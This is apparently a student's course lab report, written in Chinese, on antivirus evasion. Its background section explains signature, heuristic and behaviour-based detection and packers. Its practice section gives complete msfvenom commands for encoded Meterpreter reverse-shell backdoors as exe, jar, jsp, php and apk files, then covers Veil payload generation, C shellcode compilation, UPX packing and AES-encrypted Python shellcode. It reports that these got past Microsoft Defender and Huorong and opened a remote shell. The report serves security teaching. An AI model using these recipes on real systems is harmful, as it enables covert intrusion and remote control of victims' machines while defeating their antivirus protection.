《网络对抗技术》——Exp3 免杀原理与实践

发布时间 2023-03-29 14:35:27作者: B1smarck

一、实践内容

1.1 实践要求

1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

2、veil,加壳工具

3、使用C + shellcode编程

4、通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

5、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 实践内容

1、免杀

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
  • 就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。

2、恶意软件检测机制

  • 基于特征码的检测

    • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
  • 启发式恶意软件检测

    • 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
    • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 优点:可以检测0-day恶意软件 具有一定通用性
    • 缺点: 实时监控系统行为,开销稍多 没有基于特征码的精确度高
  • 基于行为的恶意软件检测

    • 最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描, 所以后来又提出了基于行为的。
    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

3、加壳

  • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
  • 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
  • MSF的编码器使用类似方法,对shellcode进行再编码。
  • 从技术上分壳分为
    • 压缩壳
      • 减少应用体积,如ASPack,UPX
    • 加密壳
      • 版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机
      • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

二、基础问题回答

1、杀软是如何检测出恶意代码的?

  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码库中的数据则被认为是恶意代码。
  • 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
  • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。

2、免杀是做什么的?

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

3、免杀的基本方法有哪些?

  • 改变特征码
    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
    • 非常规方法
      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
      • 使用社工类攻击,诱骗目标关闭AV软件。
      • 纯手工打造一个恶意软件

三、实践过程记录

1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  • 对实验二生成的 20201317_backdoor.exe 后门程序通过VirusTotal和VirSCAN

image-20230326165252023

  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.161 LPORT=1317 -f exe > exp3.exe 生成一次编码的后门程序;参数-b 用于去除结束符"\x00"。
  • exp3.exe 检测结果如下:

image-20230326170614578

  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.161 LPORT=1317 -f exe > exp3_encoded10.exe 生成十次编码的后门程序;参数 -i 用于设置迭代次数。
  • exp3_encoded10.exe 检测结果如下:

image-20230326172034835

  • msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=1317 x> 20201317java.jar 生成jar文件
  • 20201317java.jar 检测结果如下:

image-20230326172423562

  • msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=1317 x> 20201317jsp.jsp 生成jsp文件
  • 20201317jsp.jsp 检测结果如下:

image-20230326172805100

  • msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=1317 x> 20201317php.php 生成php文件
  • 20201317php.php 检测结果如下:

image-20230326173018868

  • msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=1317 x> 20201317android.apk 生成apk文件
  • 20201317android.apk 检测结果如下:

image-20230326173216000

运行指令如下图

image-20230326173251309

image-20230326173327376

2、 veil

1、安装veil

  • 在终端输入sudo apt-get install veil

image-20230326174011988

继续安装

image-20230326174057872

由于克隆过程慢的出乎想象,于是尝试更换github仓库链接

进入 /usr/share/veil/config 文件夹,使用命令vim setup.sh 编辑文件,找到github仓库,将其改为码云仓库https://gitee.com/spears/VeilDependencies.git

注意:修改链接时保留链接与双引号之间的空格,不然就会报错,无数次重装!

继续veil的安装,发现多次安装失败

经过查找问题,发现是64位的kali问题

若kali为64位

windows为32

需要安装wine32 ,但64位的kali下无法apt-get install wine32

在执行exploit时会出现 :

it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first. as root, please
execute "dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32"

按照上面的方法dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32即可

成功!

image-20230327164258301

2、使用Veil生成后门文件

  • 输入use evasion 进入
  • 输入use c/meterpreter/rev_tcp.py 进入配置页面

image-20230327164326229

  • 设置反弹连接的IP地址set LHOST 192.168.171.128
  • 设置端口set LPORT 1317
  • 输入options 查看设置

  • 输入 generate 生成文件
  • 输入生成的payload名称 veil_c_1317
  • 由结果可知,payload保存路径为 var/lib/veil/output/compiled/veil_c_1317.exe

image-20230327164922531

使用VirusTotal检测结果:

image-20230327165135591

试试看生成.py的后门文件?

  • 具体过程同上。use python/meterpreter/rev_tcp.py 进入配置页面。设置IP地址和端口号。输入生成的payload名称veil_py_1317

image-20230327165908192

image-20230327170150687

大大减少!不同类型的文件可检测的数量不同。

3、使用C + shellcode编程

  • 这就是一个半手工打造恶意软件的例子。下面指令会生成一个c语言格式的Shellcode数组。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.171.128 LPORT=1317 -f c
  • vim 20201317.c 创建文件,将生成的buf复制到代码中

image-20230327170743303

image-20230327170817465

通过i686-w64-mingw32-g++ 20201317.c -o 20201317.exe ,将c文件编译为可执行文件

image-20230327171212588

4、加壳工具——压缩壳工具UPX

  • 使用upx 20201317.exe -o 20201317_upxed.exe 对20201317.exe 加压缩壳得到20201317_upxed.exe 文件

image-20230327171343782

image-20230327171522763

4、加壳工具****——压缩壳工具UPX

  • 使用upx 20201317.exe -o 20201317_upxed.exe对20201317.exe 加压缩壳得到20201317_upxed.exe 文件

image-20230327205208617

image-20230327205221047

  • 尝试测试反弹连接
  • 在windows中运行exe文件时,运行

5、通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt

use python/shellcode_inject/aes_encrypt.py

image-20230328230955493

image-20230328231438243

image-20230328232042530

发现成功免杀

利用python+aes_encrypt组合攻击的原理是使用了数据加密的方式进行多次编译后门软件

附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

Win10 Microsoft Defender + 火绒

首先,python 环境下,msf的一个 python payload 是可以绕过多数杀毒软件,直接回连成功的

image-20230329092636510

image-20230329092622817

win10 运行 python 文件,kali msfconsole 监听,获得 win10 shell

virustotal 也只有 4 个 AV 检测出来

image-20230329093403330

image-20230329093342374

成功!

我们开启火绒再尝试

image-20230329093516763

筛过了静态审查

我们再次尝试动态

image-20230329093638790

image-20230329093703196

image-20230329093720455

我们发现成功绕过了火绒的动态审查